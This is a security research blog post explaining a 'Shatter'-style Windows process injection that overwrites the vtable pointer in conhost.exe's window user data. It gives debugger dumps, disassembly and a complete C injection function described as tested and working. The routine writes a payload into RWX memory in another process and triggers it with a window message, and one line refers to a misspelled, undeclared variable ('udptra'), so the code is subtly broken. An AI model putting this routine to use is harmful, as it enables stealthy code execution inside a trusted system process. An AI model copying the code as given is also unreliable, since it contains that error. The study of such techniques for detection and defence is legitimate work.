

Windows Process Injection: ConsoleWindowClass

modexp.wordpress.com/2018/09/12/process-injection-user-data

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Introduction

Every window object has support for User Data that can be set via the **SetWindowLongPtr** API and **GWLP_USERDATA** parameter. The User Data of a window is simply a small amount of memory that is normally used for storing a pointer to a class object. In the case of the Console Window Host (conhost) process, it stores the address of a data structure. Contained within the structure is information about the window's current position on the desktop, its dimensions, an object handle, and of course a class object with methods to control the behaviour of the console window.

The user data in conhost.exe is stored on the heap with writeable permissions. This makes it possible to use for process injection and is very similar to the [Extra Bytes](#) method I discussed before.

ConsoleWindowClass

In figure 1, we see the properties of a window object used by a console application. Note how the Window Proc field is empty. The User Data field points to a virtual address, but it does not reside within the console application itself. Rather, the user data structure is in the conhost.exe process spawned by the system when the console application started.




Figure 1 : Virtual address of data structure.

Figure 2 shows the class information of the window and highlighted is the address of a callback procedure responsible for processing window messages.




Figure 2 : Window Procedure to process messages from the operating system.

Debugging conhost.exe

Figure 3 shows a debugger attached to the console host and a dump of the user data value 0x000001CB3836F580. The first 64-bit value points to a virtual table of methods (array of functions).

```
0:003> dps 000001CB3836F580
000001cb`3836f580 00007ff7`e6c8b0a8 conhost!Microsoft::Console::Interactivity::Win32::Window::~`vftable'
000001cb`3836f588 000001cb`383430c0
000001cb`3836f590 00000000`000803ca
000001cb`3836f598 00000000`00000000
000001cb`3836f5a0 00000085`0000026d
000001cb`3836f5a8 00000219`000004e9
000001cb`3836f5b0 00000000`00000000
000001cb`3836f5b8 00000000`00000000
000001cb`3836f5c0 00000000`00000000
000001cb`3836f5c8 00000000`00000000
000001cb`3836f5d0 00000000`00000000
000001cb`3836f5d8 0000028c`00000535
```

Figure 3 : User data address.

Figure 4 shows the list of methods stored in the virtual table.

```

0:003> dps poi(000001CB3836F580)
00007ff7`e6c8b0a8 00007ff7`e6c340e0 conhost!Microsoft::Console::Interactivity::Win32::Window::EnableBothScrollBars
00007ff7`e6c8b0b0 00007ff7`e6c34060 conhost!Microsoft::Console::Interactivity::Win32::Window::UpdateScrollBar
00007ff7`e6c8b0b8 00007ff7`e6c33f80 conhost!Microsoft::Console::Interactivity::Win32::Window::IsInFullscreen
00007ff7`e6c8b0c0 00007ff7`e6c7e9a0 conhost!Microsoft::Console::Interactivity::Win32::Window::SetIsFullscreen
00007ff7`e6c8b0c8 00007ff7`e6c34100 conhost!Microsoft::Console::Interactivity::Win32::Window::SetViewportOrigin
00007ff7`e6c8b0d0 00007ff7`e6c33f70 conhost!Microsoft::Console::Interactivity::Win32::Window::SetWindowHasMoved
00007ff7`e6c8b0d8 00007ff7`e6c7e790 conhost!Microsoft::Console::Interactivity::Win32::Window::CaptureMouse
00007ff7`e6c8b0e0 00007ff7`e6c7e990 conhost!Microsoft::Console::Interactivity::Win32::Window::ReleaseMouse
00007ff7`e6c8b0e8 00007ff7`e6c331f0 conhost!Microsoft::Console::Interactivity::Win32::Window::GetWindowHandle
00007ff7`e6c8b0f0 00007ff7`e6c33f40 conhost!Microsoft::Console::Interactivity::Win32::Window::SetOwner
00007ff7`e6c8b0f8 00007ff7`e6c7e800 conhost!Microsoft::Console::Interactivity::Win32::Window::GetCursorPosition
00007ff7`e6c8b100 00007ff7`e6c7e7f0 conhost!Microsoft::Console::Interactivity::Win32::Window::GetClientRectangle
00007ff7`e6c8b108 00007ff7`e6c7e970 conhost!Microsoft::Console::Interactivity::Win32::Window::MapPoints
00007ff7`e6c8b110 00007ff7`e6c7e7e0 conhost!Microsoft::Console::Interactivity::Win32::Window::ConvertScreenToClient
00007ff7`e6c8b118 00007ff7`e6c80570 conhost!Microsoft::Console::Interactivity::Win32::Window::SendNotifyBeep
00007ff7`e6c8b120 00007ff7`e6c33ee0 conhost!Microsoft::Console::Interactivity::Win32::Window::PostUpdateScrollBars

```

Figure 4 : Virtual table functions.

Before overwriting anything, we need to determine how to trigger execution of these methods from an external application. Setting a “break on access” (ba) for the virtual table, and sending messages to the window should reveal what’s acceptable. Figure 5 shows a breakpoint triggered after sending the **WM_SETFOCUS** message.

```

0:003> ba r 8 000001CB3836F580
0:003> g
Breakpoint 0 hit
conhost!Microsoft::Console::Interactivity::Win32::WindowMetrics::ConvertRect+0x66:
00007ff7`e6c34baa 498bce      mov     rcx,r14
0:002> k
# Child-SP      RetAddr          Call Site
00 000000c8`8017f420 00007ff7`e6c3336c conhost!Microsoft::Console::Interactivity::Win32::WindowMetrics::ConvertRect+0x66
01 000000c8`8017f460 00007ff7`e6c3390c conhost!Microsoft::Console::Interactivity::Win32::Window::_HandleWindowPosChanged+0xa4
02 000000c8`8017f4c0 00007ff7`e6c3543d conhost!Microsoft::Console::Interactivity::Win32::Window::ConsoleWindowProc+0x55c
03 000000c8`8017f6a0 00007fff`aa706cc1 conhost!Microsoft::Console::Interactivity::Win32::Window::s_ConsoleWindowProc+0x4d
04 000000c8`8017f6e0 00007fff`aa70699c user32!UserCallWinProcCheckWow+0x2c1
05 000000c8`8017f870 00007fff`aa714c10 user32!DispatchClientMessage+0x9c
06 000000c8`8017f8d0 00007fff`aac7dbc4 user32!_fnINLPWINDOWPOS+0x30

```

Figure 5 : Break on access of virtual table

Now that we know how to trigger execution, we just need to hijack a method. In this case, `GetWindowHandle` is called first when processing the **WM_SETFOCUS** message. Figure 6 show this method does not require any parameters and simply returns a window handle from the user data.

```

Content source: 1 (target), length: e10
0:000> u conhost!Microsoft::Console::Interactivity::Win32::Window::GetWindowHandle
conhost!Microsoft::Console::Interactivity::Win32::Window::GetWindowHandle:
00007ff7`e6c331f0 488b4110      mov     rax,qword ptr [rcx+10h]
00007ff7`e6c331f4 c3           ret

```

Figure 6 : `GetWindowHandle` method

The virtual table

The following structure defines the virtual table used by `conhost` to control the behaviour of the console window. There’s no need to define prototypes for each method unless we intended to use something other than `GetWindowHandle` which doesn’t take any parameters.

```

typedef struct _vftable_t {
    ULONG_PTR    EnableBothScrollBars;
    ULONG_PTR    UpdateScrollBar;
    ULONG_PTR    IsInFullscreen;
    ULONG_PTR    SetIsFullscreen;
    ULONG_PTR    SetViewportOrigin;
    ULONG_PTR    SetWindowHasMoved;
    ULONG_PTR    CaptureMouse;
    ULONG_PTR    ReleaseMouse;
    ULONG_PTR    GetWindowHandle;
    ULONG_PTR    SetOwner;
    ULONG_PTR    GetCursorPosition;
    ULONG_PTR    GetClientRectangle;
    ULONG_PTR    MapPoints;
    ULONG_PTR    ConvertScreenToClient;
    ULONG_PTR    SendNotifyBeep;
    ULONG_PTR    PostUpdateScrollBars;
    ULONG_PTR    PostUpdateTitleWithCopy;
    ULONG_PTR    PostUpdateWindowSize;
    ULONG_PTR    UpdateWindowSize;
    ULONG_PTR    UpdateWindowText;
    ULONG_PTR    HorizontalScroll;
    ULONG_PTR    VerticalScroll;
    ULONG_PTR    SignalUia;
    ULONG_PTR    UiaSetTextAreaFocus;
    ULONG_PTR    GetWindowRect;
} ConsoleWindow;

```

User Data Structure

Figure 7 shows the total size of the user data structure is 104 bytes. Since the allocation has PAGE_READWRITE protection by default, one can simply overwrite the pointer to the virtual table with a duplicate that contains the address of a payload.

```

call    ?s_RegisterWindowClass@Window@Win32@Interactivity@Con:
mov     edx, eax
test    eax, eax
js      short loc_140018188
mov     ecx, 104
call    ??2@YAPEAX_K@Z ; operator new(unsigned __int64)
mov     [rsp+28h+user_data], rax
mov     rbx, rax
test    rax, rax
jz      short loc_140018195
and     qword ptr [rbx+18h], 0

```

Figure 7 : Allocation of data structure.

Full function

This function demonstrates how to replace the virtual table with a duplicate before triggering execution of some code. Tested and working on a 64-bit version of Windows 10.

```

VOID conhostInject(LPVOID payload, DWORD payloadSize) {
    HWND          hwnd;
    LONG_PTR      udptr;
    DWORD         pid, ppid;
    SIZE_T        wr;
    HANDLE        hp;
    ConsoleWindow cw;
    LPVOID        cs, ds;
    ULONG_PTR     vTable;

    // 1. Obtain handle and process id for a console window
    // (this assumes one already running)
    hwnd = FindWindow(L"ConsoleWindowClass", NULL);

    GetWindowThreadProcessId(hwnd, &ppid);

    // 2. Obtain the process id for the host process
    pid = conhostId(ppid);

    // 3. Open the conhost.exe process
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    // 4. Allocate RWX memory and copy the payload there
    cs = VirtualAllocEx(hp, NULL, payloadSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);

    // 5. Read the address of current virtual table
    udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
    ReadProcessMemory(hp, (LPVOID)udptr,
        (LPVOID)&vTable, sizeof(ULONG_PTR), &wr);

    // 6. Read the current virtual table into local memory
    ReadProcessMemory(hp, (LPVOID)vTable,
        (LPVOID)&cw, sizeof(ConsoleWindow), &wr);

    // 7. Allocate RW memory for the new virtual table
    ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    // 8. update the local copy of virtual table with
    // address of payload and write to remote process
    cw.GetWindowHandle = (ULONG_PTR)cs;
    WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);

    // 9. Update pointer to virtual table in remote process
    WriteProcessMemory(hp, (LPVOID)udptr, &ds,
        sizeof(ULONG_PTR), &wr);

    // 10. Trigger execution of the payload
    SendMessage(hwnd, WM_SETFOCUS, 0, 0);

    // 11. Restore pointer to original virtual table

```

```
WriteProcessMemory(hp, (LPVOID)udptra, &vTable,
    sizeof(ULONG_PTR), &wr);

// 12. Release memory and close handles
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

CloseHandle(hp);
}
```

Summary

This is another variation of a “Shatter” attack where window messages and callback functions are misused to execute code without creating a new thread. The approach shown here is limited to console windows or more specifically the “ConsoleWindowClass” object. However, other applications also use **GWLP_USERDATA** to store a pointer to a class object. [A PoC can be found here.](#)